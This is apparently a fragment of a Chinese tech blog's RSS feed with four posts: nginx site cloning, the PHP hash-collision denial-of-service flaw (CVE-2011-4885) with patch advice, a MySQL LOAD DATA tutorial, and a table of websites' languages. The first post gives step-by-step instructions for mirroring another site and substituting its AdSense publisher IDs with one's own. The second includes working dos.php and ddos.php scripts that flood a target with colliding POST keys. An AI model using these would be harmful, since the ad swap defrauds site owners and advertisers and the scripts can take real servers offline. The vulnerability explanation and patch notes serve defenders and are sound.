相信大家都已经很熟悉 Apache 和 Nginx, 其实它们本身都有关键词替换功能，也就是说，你根本不需要安装任何额外的软件，甚至连 php/mysql 都省了，只要用 Apache 或者 nginx 就可以实现网站克隆/伪原创。

要点只有2个:
1. 反向代理
2. 关键词替换

下面就讲讲过程 (centos-32bit)
1. nginx + substitutions 安装
nginx 自带一个Substitution模块，但该模块只能写一行，所以我们改用 substitutions

下面是安装一些预备软件

   yum -y --noplugins install wget zip
    yum -y --noplugins install unzip
    yum -y --noplugins install gcc
    yum -y --noplugins install make
    yum -y --noplugins install pcre-devel
    yum -y --noplugins install openssl-devel

下载软件
  wget -c http://www.nginx.org/download/nginx-1.0.8.tar.gz                      //下载nginx
    svn checkout http://substitutions4nginx.googlecode.com/svn/trunk/ substitutions4nginx-read-only           //下载substitutions

    tar zxf nginx-1.0.8.tar.gz
    cd nginx-1.0.8.tar.gz
    ./configure ./configure --add-module=path/substitutions4nginx-read-only           //注意这里的path是相对应的真实路径
    make
    make install

此时，nginx应该安装在于 /usr/local/nginx 下面
配置 nginx.conf

    server_name  www.lvtao.net;
    location / {
        subs_filter ca-pub-9805743306566114  ca-pub-98057433063434;        //把google ad 的用户号 ca-pub-9805743306566114 改成你自己的，比如 ca-pub-98057433063434
        subs_filter 6121088089    612108343455;      //把google ad 的广告号 6121088089  改成你自己的，比如 612108343455 ，你懂的！：D           
        proxy_pass   http://www.youku.com;            //反向代理站。 最好找一些带有google 广告的网站，在 google 收录 34万条，百度收录几乎没有，这或许是.info 的失败，也是为什么我们选择这样的网站来反代的原因。
        index  index.html index.htm;
    }

记住subs_filter 命令的格式，你想替换设么就随你了。比如我把网站的网址 a 替换成了 b
另外， 反向代理的个数是不限制的。只要你掌握了规则，一个网站下可以包含n多个网站的镜像。 一个nginx 上也可以跑 n多个网站。就看你自己怎么运用了。]]></description>
			<link>http://www.lvtao.net/html/1791.html</link>
			<pubDate>2012-01-04, 19:19:49</pubDate>
		</item>
		<item>
			<title>通过PHP的hash冲突漏洞进行DDoS攻击 详解漏洞原理及相关补丁安装</title>
			<author>memory</author>
			<description><![CDATA[上周的时候Dmitry突然在5.4发布在即的时候, 引入了一个新的配置项:

Added max_input_vars directive to prevent attacks based on hash collision这个预防的攻击, 就是”通过调用Hash冲突实现各种语言的拒绝服务攻击漏洞”(multiple implementations denial-of-service via hash algorithm collision).

攻击的原理很简单, 目前很多语言, 使用hash来存储k-v数据, 包括常用的来自用户的POST数据, 攻击者可以通过构造请求头, 并伴随POST大量的特殊的”k”值(根据每个语言的Hash算法不同而定制), 使得语言底层保存POST数据的Hash表因为”冲突”(碰撞)而退化成链表.

[img]/upload/files/20120103/2012060611-RQzxIsX6wJ.png[/img]

这样一来, 如果数据量足够大, 那么就可以使得语言在计算, 查找, 插入的时候, 造成大量的CPU占用, 从而实现拒绝服务攻击. 

PHP5.4是通过增加一个限制来尽量避免被此类攻击影响:

  - max_input_vars - specifies how many GET/POST/COOKIE input variables may be    accepted. default value 1000

目前已知的受影响的语言以及版本有::

Java, 所有版本

JRuby <= 1.6.5

PHP <= 5.3.8, <= 5.4.0RC3

Python, 所有版本

Rubinius, 所有版本

Ruby <= 1.8.7-p356

Apache Geronimo, 所有版本

Apache Tomcat <= 5.5.34, <= 6.0.34, <= 7.0.22

Oracle Glassfish <= 3.1.1

Jetty, 所有版本

Plone, 所有版本

Rack, 所有版本

V8 JavaScript Engine, 所有版本

不受此影响的语言或者修复版本的语言有::

PHP >= 5.3.9, >= 5.4.0RC4

JRuby >= 1.6.5.1

Ruby >= 1.8.7-p357, 1.9.x

Apache Tomcat >= 5.5.35, >= 6.0.35, >= 7.0.23

Oracle Glassfish, N/A (Oracle reports that the issue is fixed in the main codeline and scheduled for a future CPU)

CVE: CVE-2011-4885 (PHP), CVE-2011-4461 (Jetty), CVE-2011-4838 (JRuby), CVE-2011-4462 (Plone), CVE-2011-4815 (Ruby) 
[newpage]
这个攻击方法危害很高, 攻击成本也很小. 一个台式机可以轻松搞垮数十台, 上百台服务器. 

而和Pierre沟通后, 官方开发组不会为此发布PHP 5.2.18, 但是目前还是由不少公司还在使用5.2, 所以我特将dmitry为5.4写的patch, 分别apply到5.2上.

大家如果有用5.2的, 如果被此类攻击威胁, 可以打上下面的patch, PHP5.3的, 可以考虑升级到5.3.9, 已经包含了此patch(因为5.3.9目前是RC状态, 所以如果不愿意升级, 也可以参照这个patch自己为5.3写一个): 

https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars

另外, 其他语言java, ruby等, 请各位也预先想好对策, 限制post_size是治标不治本的方法, 不过可以用来做临时解决方案.
[newpage]
你知道不知道, 插入65536个经过构造的键值的元素到PHP数组, 会需要耗时30秒以上? 而一般的这个过程仅仅需要0.1秒..

请看如下的例子:
[code]    <?php
    $size = pow(2, 16);
     
    $startTime = microtime(true);
    $array = array();
    for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
        $array[$key] = 0;
    }
    $endTime = microtime(true);
    echo '插入 ', $size, ' 个恶意的元素需要 ', $endTime - $startTime, ' 秒', "\n";
     
    $startTime = microtime(true);
    $array = array();
    for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
        $array[$key] = 0;
    }
    $endTime = microtime(true);
    echo '插入 ', $size, ' 个普通元素需要 ', $endTime - $startTime, ' 秒', "\n";[/code]
上面的例子, 在我的机器上的执行结果如下:

    插入 65536 个恶意的元素需要 43.1438360214 秒
    插入 65536 个普通元素需要 0.0210378170013 秒

这个差别是不是很夸张?!

这样在每次插入的时候PHP都需要遍历一遍这个链表, 大家可以想象, 第一次插入, 需要遍历0个元素, 第二次是1个, 第三次是3个, 第65536个是65535个, 那么总共就需要65534*65535/2=2147385345次遍历….

那么, 这个键值是怎么构造的呢?

在PHP中,如果键值是数字, 那么Hash的时候就是数字本身, 一般的时候都是, index & tableMask. 而tableMask是用来保证数字索引不会超出数组可容纳的元素个数值, 也就是数组个数-1.

PHP的Hashtable的大小都是2的指数, 比如如果你存入10个元素的数组, 那么数组实际大小是16, 如果存入20个, 则实际大小为32, 而63个话, 实际大小为64. 当你的存入的元素个数大于了数组目前的最多元素个数的时候, PHP会对这个数组进行扩容, 并且从新Hash.

现在, 我们假设要存入64个元素(中间可能会经过扩容, 但是我们只需要知道, 最后的数组大小是64, 并且对应的tableMask为63:0111111), 那么如果第一次我们存入的元素的键值为0, 则hash后的值为0, 第二次我们存入64, hash(1000000 & 0111111)的值也为0, 第三次我们用128, 第四次用192… 就可以使得底层的PHP数组把所有的元素都Hash到0号bucket上, 从而使得Hash表退化成链表了.

当然, 如果键值是字符串的话, 就稍微比较麻烦一些了, 但是PHP的Hash算法是开源的, 已知的, 所以有心人也可以做到…

[newpage]

攻击原理：

通过向目标服务器post一组精心拼凑的数组参数，到达服务端后语言底层处理接收到的数组参数时，由于该漏洞的存在造成CPU的大量消耗，最终导致服务器资源耗尽。

不用什么花哨的手法，就用PHP简单实现下看下效果，点到即止。

文件：dos.php

[code]    // 目标地址  
    // 只要目标地址存在，不用管它是干嘛的  
    $host = 'http://127.0.0.1/test.php';   
      
    $data = '';  
    $size = pow(2, 15);  
    for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)  
    {  
        $data .= '&array[' . $key . ']=0';  
    }  
      
    $ret = curl($host, ltrim($data,'&'));  
    var_dump($ret);  
      
      
    function curl($url, $post, $timeout = 30){  
        $ch = curl_init();  
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);  
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);  
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));    
        curl_setopt($ch, CURLOPT_URL, $url);  
        curl_setopt($ch, CURLOPT_POST, true);  
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);  
        $output = curl_exec($ch);  
        if ($output === false) return false;  
        $info = curl_getinfo($ch);  
        $http_code = $info['http_code'];  
        if ($http_code == 404) return false;  
        curl_close($ch);  
        return $output;  
    }  [/code]

文件：ddos.php

[code]    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    <html xmlns="http://www.w3.org/1999/xhtml">  
    <head>  
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />  
    <title>DDOS</title>  
    </head>  
      
    <body>  
    <?php  
    for($i=0; $i<5; $i++){//并发数  
        echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';  
    }  
    ?>  
    </body>  
    </html>  [/code]

虽然我的测试目标服务器是台虚拟机，但仅用了2个并发就使目标机CPU飙到了100%。但是100%的CPU占用并不代表着就已经拒绝服务，点到为止:)

以下是 wdlinux 的相关编译参数  可以参考下

if [ ! -d /www/wdlinux/apache ];then
	gzip -cd php-5.2.17-fpm-0.5.14.diff.gz | patch -fd php-5.2.17 -p1
	cd php-5.2.17
	./configure --prefix=/www/wdlinux/php-5.2.17 --with-config-file-path=/www/wdlinux/etc --with-mysql=/www/wdlinux/mysql --with-iconv-dir=/usr --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir=/usr --enable-xml --disable-rpath --enable-discard-path --enable-inline-optimization --with-curl --enable-mbregex --enable-mbstring --with-mcrypt=/usr --with-gd --enable-gd-native-ttf --with-openssl --with-mhash --enable-ftp --enable-fastcgi --enable-fpm --with-fpm-conf=/www/wdlinux/etc/php-fpm.conf --with-pdo-mysql=/www/wdlinux/mysql
	make
	make install
	service nginxd restart
else
	cd php-5.2.17
	./configure --prefix=/www/wdlinux/php-5.2.17 --with-config-file-path=/www/wdlinux/etc --with-mysql=/www/wdlinux/mysql --with-iconv-dir=/usr --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir=/usr --enable-xml --disable-rpath --enable-discard-path --enable-inline-optimization --with-curl --enable-mbregex --enable-mbstring --with-mcrypt=/usr --with-gd --enable-gd-native-ttf --with-openssl --with-mhash --enable-ftp --with-apxs2=/www/wdlinux/apache/bin/apxs --with-pdo-mysql=/www/wdlinux/mysql
	make
	make install
	service httpd restart
fi]]></description>
			<link>http://www.lvtao.net/html/1790.html</link>
			<pubDate>2012-01-03, 18:11:19</pubDate>
		</item>
		<item>
			<title>mysql将有规律的文本内容存放进数据库之load data</title>
			<author>memory</author>
			<description><![CDATA[先看下代码
mysql>LOAD DATA local INFILE '/tmp/www.csdn.net.sql' INTO TABLE user FIELDS TERMINATED BY ' # ' LINES TERMINATED BY '\r\n';

网上找找资料 研究下
LOAD DATA INFILE语句用于高速地从一个文本文件中读取行，并装入一个表中。文件名称必须为一个文字字符串。
基本语法：
load data  [low_priority] [local] infile 'file_name txt' [replace | ignore]
into table tbl_name
[fields
[terminated by't']
[OPTIONALLY] enclosed by '']
[escaped by'\' ]]
[lines terminated by'n']
[ignore number lines]
[(col_name,   )]
 
load data infile语句从一个文本文件中以很高的速度读入一个表中。使用这个命令之前，mysqld进程（服务）必须已经在运行。为了安全原因，当读取位于服务器上的文本文件时，文件必须处于数据库目录或可被所有人读取。另外，为了对服务器上文件使用load data infile，在服务器主机上你必须有file的权限。 
1  如果你指定关键词low_priority，那么MySQL将会等到没有其他人读这个表的时候，才把插入数据。可以使用如下的命令： 
load data  low_priority infile "/home/mark/data sql" into table Orders; 
 
2  如果指定local关键词，则表明从客户主机读文件。如果local没指定，文件必须位于服务器上。
 
3  replace和ignore关键词控制对现有的唯一键记录的重复的处理。如果你指定replace，新行将代替有相同的唯一键值的现有行。如果你指定ignore，跳过有唯一键的现有行的重复行的输入。如果你不指定任何一个选项，当找到重复键时，出现一个错误，并且文本文件的余下部分被忽略。例如：
load data  low_priority infile "/home/mark/data sql" replace into table Orders;
 
4 分隔符
（1） fields关键字指定了文件记段的分割格式，如果用到这个关键字，MySQL剖析器希望看到至少有下面的一个选项： 
terminated by分隔符：意思是以什么字符作为分隔符
enclosed by字段括起字符
escaped by转义字符 
terminated by描述字段的分隔符，默认情况下是tab字符（\t） 
enclosed by描述的是字段的括起字符。
escaped by描述的转义字符。默认的是反斜杠（backslash：\ ）   
例如：load data infile "/home/mark/Orders txt" replace into table Orders fields terminated by',' enclosed by '"'; 
（2）lines 关键字指定了每条记录的分隔符默认为'\n'即为换行符
如果两个字段都指定了那fields必须在lines之前。如果不指定fields关键字缺省值与如果你这样写的相同： fields terminated by'\t' enclosed by ’ '' ‘ escaped by'\\'
如果你不指定一个lines子句，缺省值与如果你这样写的相同： lines terminated by'\n' 
例如：load data infile "/jiaoben/load.txt" replace into table test fields terminated by ',' lines terminated by '/n';
5  load data infile 可以按指定的列把文件导入到数据库中。 当我们要把数据的一部分内容导入的时候，，需要加入一些栏目（列/字段/field）到MySQL数据库中，以适应一些额外的需要。比方说，我们要从Access数据库升级到MySQL数据库的时候
下面的例子显示了如何向指定的栏目(field)中导入数据： 
load data infile "/home/Order txt" into table Orders(Order_Number, Order_Date, Customer_ID); 
6  当在服务器主机上寻找文件时，服务器使用下列规则： 
（1）如果给出一个绝对路径名，服务器使用该路径名。 
（2）如果给出一个有一个或多个前置部件的相对路径名，服务器相对服务器的数据目录搜索文件。  
（3）如果给出一个没有前置部件的一个文件名，服务器在当前数据库的数据库目录寻找文件。 
例如： /myfile txt”给出的文件是从服务器的数据目录读取，而作为“myfile txt”给出的一个文件是从当前数据库的数据库目录下读取。
[newpage]
注意：字段中的空值用\N表示


我的文章一般浅显易懂，不会搞那么深入让大家很难理解。（其实我水平也不咋样)

LOAD DATA INFILE 一直被认为是MySQL很强大的一个数据导入工具，因为他速度非常的快。
不过有几个问题一定要注意
1、编码。
2、灵活导入导出。

我来举两个例子说明一下。
一、关于编码
我们的示例文本文件：
"我爱你","20","相貌平常，经常耍流氓！哈哈"
"李奎","21","相貌平常，经常耍流氓！哈哈"
"王二米","20","相貌平常，经常耍流氓！哈哈"
"老三","24","很强"
"老四","34","XXXXX"
"老五","52","***%*￥*￥*￥*￥"
"小猫","45","中间省略。。。"
"小狗","12","就会叫"
"小妹","21","PP的很"
"小坏蛋","52","表里不一"
"上帝他爷","96","非常英俊"
"MM来了","10","。。。"
"歌颂党","20","社会主义好"
"人民好","20","的确是好"
"老高","10","学习很好"
"斜三","60","眼睛斜了"
"中华之子","100","威武的不行了"
"大米","63","我爱吃"
"苹果","15","好吃"
我们的示例表结构：


+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Table | Create Table                                                                                                                                                                                                                                                          |
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| t0    | CREATE TABLE `t0` (
  `id` bigint(20) unsigned NOT NULL auto_increment,
  `name` char(20) NOT NULL,
  `age` tinyint(3) unsigned NOT NULL,
  `description` text NOT NULL,
  PRIMARY KEY  (`id`),
  UNIQUE KEY `idx_name` (`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 |
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)


我们把这个文本文件从WINDOWS 下COPY到LINUX下看看


mysql> load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by ',' enclosed by '"' lines terminated by '\n' (`name`,`age`,`description`);
Query OK, 19 rows affected (0.01 sec)
Records: 19  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from t0;
+----+----------+-----+----------------------------+
| id | name     | age | description                |
+----+----------+-----+----------------------------+
|  1 | 我爱你   |  20 | 相貌平常，经常耍流氓！哈哈 |
|  2 | 李奎     |  21 | 相貌平常，经常耍流氓！哈哈 |
|  3 | 王二米   |  20 | 相貌平常，经常耍流氓！哈哈 |
|  4 | 老三     |  24 | 很强                       |
|  5 | 老四     |  34 | XXXXX                      |
|  6 | 老五     |  52 | ***%*￥*￥*￥*￥           |
|  7 | 小猫     |  45 | 中间省略。。。             |
|  8 | 小狗     |  12 | 就会叫                     |
|  9 | 小妹     |  21 | PP的很                     |
| 10 | 小坏蛋   |  52 | 表里不一                   |
| 11 | 上帝他爷 |  96 | 非常英俊                   |
| 12 | MM来了   |  10 | 。。。                     |
| 13 | 歌颂党   |  20 | 社会主义好                 |
| 14 | 人民好   |  20 | 的确是好                   |
| 15 | 老高     |  10 | 学习很好                   |
| 16 | 斜三     |  60 | 眼睛斜了                   |
| 17 | 中华之子 | 100 | 威武的不行了               |
| 18 | 大米     |  63 | 我爱吃                     |
| 19 | 苹果     |  15 | 好吃                       |
+----+----------+-----+----------------------------+
19 rows in set (0.00 sec)

我来说明一下相关的参数
关于我的导入语句，我现在直说两个，其他的参考手册。
character set gbk;

这个字符集一定要写，要不然就会乱码或者只导入一部分数据。


ignore into table


因为name 列加了唯一索引，加这个是为了避免重复数据插入报错。

加入我们再次运行这个导入语句就会发现
Query OK, 0 rows affected (0.00 sec)
Records: 19  Deleted: 0  Skipped: 19  Warnings: 0
没有任何值导入，因为里面已经有了相同的值。

这里也可以用replace into table
MySQL会把相同的先干掉，再插入新的值。
mysql> load data infile '/tmp/t0.txt' replace into table t0 character set gbk fields terminated by ',' enclosed by '"' lines terminated by '\n' (`name`,`age`,`description`);
Query OK, 38 rows affected (0.00 sec)
Records: 19  Deleted: 19  Skipped: 0  Warnings: 0

mysql> select * from t0;
+----+----------+-----+----------------------------+
| id | name     | age | description                |
+----+----------+-----+----------------------------+
| 20 | 我爱你   |  20 | 相貌平常，经常耍流氓！哈哈 |
| 21 | 李奎     |  21 | 相貌平常，经常耍流氓！哈哈 |
| 22 | 王二米   |  20 | 相貌平常，经常耍流氓！哈哈 |
| 23 | 老三     |  24 | 很强                       |
| 24 | 老四     |  34 | XXXXX                      |
| 25 | 老五     |  52 | ***%*￥*￥*￥*￥           |
| 26 | 小猫     |  45 | 中间省略。。。             |
| 27 | 小狗     |  12 | 就会叫                     |
| 28 | 小妹     |  21 | PP的很                     |
| 29 | 小坏蛋   |  52 | 表里不一                   |
| 30 | 上帝他爷 |  96 | 非常英俊                   |
| 31 | MM来了   |  10 | 。。。                     |
| 32 | 歌颂党   |  20 | 社会主义好                 |
| 33 | 人民好   |  20 | 的确是好                   |
| 34 | 老高     |  10 | 学习很好                   |
| 35 | 斜三     |  60 | 眼睛斜了                   |
| 36 | 中华之子 | 100 | 威武的不行了               |
| 37 | 大米     |  63 | 我爱吃                     |
| 38 | 苹果     |  15 | 好吃                       |
+----+----------+-----+----------------------------+
19 rows in set (0.00 sec)


 (`name`,`age`,`description`);

这些也就是具体的表属性了，指明这个就可以导入想要的数据。
2、关于灵活性，其实也就是一个记录功能
如果想在导入的时候记录一下导入的具体时间怎么办？
我们来看看
先加一个时间属性记录导入时间。
mysql> alter table t0 add update_time timestamp not null;
Query OK, 19 rows affected (0.00 sec)
Records: 19  Duplicates: 0  Warnings: 0
干掉唯一索引
mysql> alter table t0 drop index idx_name;
Query OK, 19 rows affected (0.00 sec)
Records: 19  Duplicates: 0  Warnings: 0


mysql> load data infile '/tmp/t0.txt' into table t0 character set gbk fields terminated by ',' enclosed by '"' lines terminated by '\n' (`name`,`age`,`description`) set update_time=current_timestamp;
Query OK, 19 rows affected (0.00 sec)
Records: 19  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from t0;
+----+----------+-----+----------------------------+---------------------+
| id | name     | age | description                | update_time         |
+----+----------+-----+----------------------------+---------------------+
| 20 | 我爱你   |  20 | 相貌平常，经常耍流氓！哈哈 | 0000-00-00 00:00:00 |
…………
| 24 | 老四     |  34 | XXXXX                      | 0000-00-00 00:00:00 |
| 25 | 老五     |  52 | ***%*￥*￥*￥*￥           | 0000-00-00 00:00:00 |
…………
| 35 | 斜三     |  60 | 眼睛斜了                   | 0000-00-00 00:00:00 |
| 36 | 中华之子 | 100 | 威武的不行了               | 0000-00-00 00:00:00 |
…………
| 60 | 王二米   |  20 | 相貌平常，经常耍流氓！哈哈 | 2008-06-30 14:58:37 |
…………
| 68 | 上帝他爷 |  96 | 非常英俊                   | 2008-06-30 14:58:37 |
| 69 | MM来了   |  10 | 。。。                     | 2008-06-30 14:58:37 |
…………
| 75 | 大米     |  63 | 我爱吃                     | 2008-06-30 14:58:37 |
| 76 | 苹果     |  15 | 好吃                       | 2008-06-30 14:58:37 |
+----+----------+-----+----------------------------+---------------------+
38 rows in set (0.00 sec)


新导入的19条记录时间被记录了下来。
只是之前的数据库没有记录，不过现在不需要这些重复数据了。

干掉他就可以了


mysql> alter table t0 order by id desc;
Query OK, 38 rows affected (0.01 sec)
Records: 38  Duplicates: 0  Warnings: 0

mysql> alter ignore table t0 add unique index idx_name (`name`);
Query OK, 38 rows affected (0.00 sec)
Records: 38  Duplicates: 19  Warnings: 0

mysql> alter table t0 order by id asc;
Query OK, 19 rows affected (0.01 sec)
Records: 19  Duplicates: 0  Warnings: 0

mysql> select * from t0;
+----+----------+-----+----------------------------+---------------------+
| id | name     | age | description                | update_time         |
+----+----------+-----+----------------------------+---------------------+
| 58 | 我爱你   |  20 | 相貌平常，经常耍流氓！哈哈 | 2008-06-30 14:58:37 |
| 59 | 李奎     |  21 | 相貌平常，经常耍流氓！哈哈 | 2008-06-30 14:58:37 |
| 60 | 王二米   |  20 | 相貌平常，经常耍流氓！哈哈 | 2008-06-30 14:58:37 |
| 61 | 老三     |  24 | 很强                       | 2008-06-30 14:58:37 |
| 62 | 老四     |  34 | XXXXX                      | 2008-06-30 14:58:37 |
| 63 | 老五     |  52 | ***%*￥*￥*￥*￥           | 2008-06-30 14:58:37 |
| 64 | 小猫     |  45 | 中间省略。。。             | 2008-06-30 14:58:37 |
| 65 | 小狗     |  12 | 就会叫                     | 2008-06-30 14:58:37 |
| 66 | 小妹     |  21 | PP的很                     | 2008-06-30 14:58:37 |
| 67 | 小坏蛋   |  52 | 表里不一                   | 2008-06-30 14:58:37 |
| 68 | 上帝他爷 |  96 | 非常英俊                   | 2008-06-30 14:58:37 |
| 69 | MM来了   |  10 | 。。。                     | 2008-06-30 14:58:37 |
| 70 | 歌颂党   |  20 | 社会主义好                 | 2008-06-30 14:58:37 |
| 71 | 人民好   |  20 | 的确是好                   | 2008-06-30 14:58:37 |
| 72 | 老高     |  10 | 学习很好                   | 2008-06-30 14:58:37 |
| 73 | 斜三     |  60 | 眼睛斜了                   | 2008-06-30 14:58:37 |
| 74 | 中华之子 | 100 | 威武的不行了               | 2008-06-30 14:58:37 |
| 75 | 大米     |  63 | 我爱吃                     | 2008-06-30 14:58:37 |
| 76 | 苹果     |  15 | 好吃                       | 2008-06-30 14:58:37 |
+----+----------+-----+----------------------------+---------------------+
19 rows in set (0.00 sec)

现在是达到了目的了，为啥中途要干掉唯一索引呢？因为set 语法 再有IGNORE 的时候会忽略掉。
[newpage]
1）在客户端也可以向远程MySQL服务器执行 ‘load data‘ 命令，
比如，客户端IP： 192.168.204.132
服务器IP： 192.168.204.131
可以在192.168.204.132上，
执行命令： mysql -h 192.168.204.131 -utest -ptest test -e'load local data infile "/opt/xxxxx.txt" into table loadtest;'

条件：
如果使用源码编译的MySQL，在configure的时候，需要添加参数：--enable-local-infile
客户端和服务器端都需要，否则不能使用local参数

2）load data infile 和 load local data infile 在 innodb和MyISAM 同步方面的区别
 对MyISAM引擎：
(1)对master服务器进行 ‘load’ 操作，
(2)在master上所操作的load.txt文件，会同步传输到slave上，并在tmp_dir 目录下生成 load.txt文件
master服务器插入了多少，就传给slave多少
(3)当master上的load操作完成后，传给slave的文件也结束时，
即：在slave上生成完整的 load.txt文件
此时，slave才开始从 load.txt 读取数据，并将数据插入到本地的表中

 对innodb引擎：
(1)主数据库进行 ‘Load’ 操作
(2)主数据库操作完成后，才开始向slave传输 load.txt文件，
slave接受文件，并在 tmp_dir 目录下生成 load.txt 文件
接受并生成完整的load.txt 后，才开始读取该文件，并将数据插入到本地表中

异常情况处理：
1）对MyISAM引擎
当数据库执行load,此时如果中断：
Slave端将报错，例如：
####################################################################
Query partially completed on the master (error on master: 1053) and was aborted.
There is a chance that your master is inconsistent at this point.
If you are sure that your master is ok,
run this query manually on the slave and then restart the slave with SET GLOBAL SQL_SLAVE_SKIP_COUNTER=1;
START SLAVE; . Query: 'LOAD DATA INFILE '/tmp/SQL_LOAD-2-1-3.data' IGNORE INTO TABLE `test_1`
FIELDS TERMINATED BY ',' ENCLOSED BY '' ESCAPED BY '\\' LINES TERMINATED BY '\n' (`id`, `name`, `address`)'
###########################################################################################
按照提示，在slave服务器上：
(1) 使用提示的load命令，将主服务器传输过来的load文件，在从服务器上执行
(2)让从服务器跳过错误。set global sql_slave_skip_counter=1;
(3)开启同步
2）对Innodb引擎
由于innodb是事务型的，所以会把load文件的整个操作当作一个事务来处理，
中途中断load操作，会导致回滚。
与此相关的一些参数：
max_binlog_cache_size----能够使用的最大cache内存大小。
当执行多语句事务时，max_binlog_cache_size如果不够大，
系统可能会报出“Multi-statement
transaction required more than 'max_binlog_cache_size' bytes of storage”的错误。
 备注：以load data 来说，如果load的文件大小为512M，在执行load 的过程中，
所有产生的binlog会先写入binlog_cache_size,直到load data 的操作结束后，
最后，再由binlog_cache_size 写入二进制日志，如mysql-bin.0000008等。
所以此参数的大小必须大于所要load 的文件的大小，或者当前所要进行的事务操作的大小。

max_binlog_size------------Binlog最大值，一般设置为512M或1GB，但不能超过1GB。
该设置并不能严格控制Binlog的大小，尤其是Binlog遇到一根比较大事务时，
为了保证事务的完整性，不可能做切换日志的动作，只能将该事务的所有SQL都记录进
当前日志，直到事务结束
备注：有时能看到，binlog生成的大小，超过了设定的1G。这就是因为innodb某个事务的操作比较大，
不能做切换日志操作，就全部写入当前日志，直到事务结束。]]></description>
			<link>http://www.lvtao.net/html/1789.html</link>
			<pubDate>2011-12-28, 16:00:32</pubDate>
		</item>
		<item>
			<title>想知道哪些大网站用PHP开发的吗 或者说主打PHP的</title>
			<author>memory</author>
			<description><![CDATA[ | Website        | Visits       | Programming Language
-------------------------------------------------------------
 | facebook.com   | 870,000,000  |  PHP
 | youtube.com    | 790,000,000  |  Python
 | yahoo.com      | 590,000,000  |  PHP*
 | live.com       | 540,000,000  |  ASP.NET
 | wikipedia.org  | 460,000,000  |  PHP
 | msn.com        | 450,000,000  |  ASP.NET
 | blogspot.com   | 370,000,000  |  Python*
 | baidu.com      | 310,000,000  |  PHP
 | microsoft.com  | 280,000,000  |  ASP.NET
 | qq.com         | 250,000,000  |  PHP
 | bing.com       | 230,000,000  |  ASP.NET
 | ask.com        | 190,000,000  |  SSI
 | taobao.com     | 170,000,000  |  PHP
 | twitter.com    | 160,000,000  |  Ruby on Rails
 | adobe.com      | 160,000,000  |  ColdFusion
 | youku.com      | 160,000,000  |  PHP
 | soso.com       | 140,000,000  |  CGI*
 | wordpress.com  | 140,000,000  |  PHP
 | sohu.com       | 130,000,000  |  PHP
 | 163.com        | 130,000,000  |  JSP
 | windows.com    | 120,000,000  |  ASP.NET
 | hao123.com     | 120,000,000  |  PHP
 | amazon.com     | 120,000,000  |  CGI
 | tudou.com      | 120,000,000  |  PHP
 | apple.com      | 97,000,000   |  PHP
 | ebay.com       | 97,000,000   |  CGI
 | linkedin.com   | 89,000,000   |  Scala/Java
 | yahoo.co.jp    | 82,000,000   |  PHP*
 | sogou.com      | 81,000,000   |  PHP
 | go.com         | 74,000,000   |  CGI
 | 4399.com       | 74,000,000   |  PHP
 | paypal.com     | 73,000,000   |  CGI
 | mozilla.com    | 73,000,000   |  PHP/Python
 | aol.com        | 73,000,000   |  JSP
 | about.com      | 73,000,000   |  unknown
 | xunlei.com     | 68,000,000   |  PHP
 | 56.com         | 67,000,000   |  PHP
 | flickr.com     | 67,000,000   |  PHP
 | craigslist.org | 66,000,000   |  Perl
 | tmall.com      | 66,000,000   |  PHP]]></description>
			<link>http://www.lvtao.net/html/1788.html</link>
			<pubDate>2011-12-25, 12:31:46</pubDate>
		</item>
	</channel>
</rss>

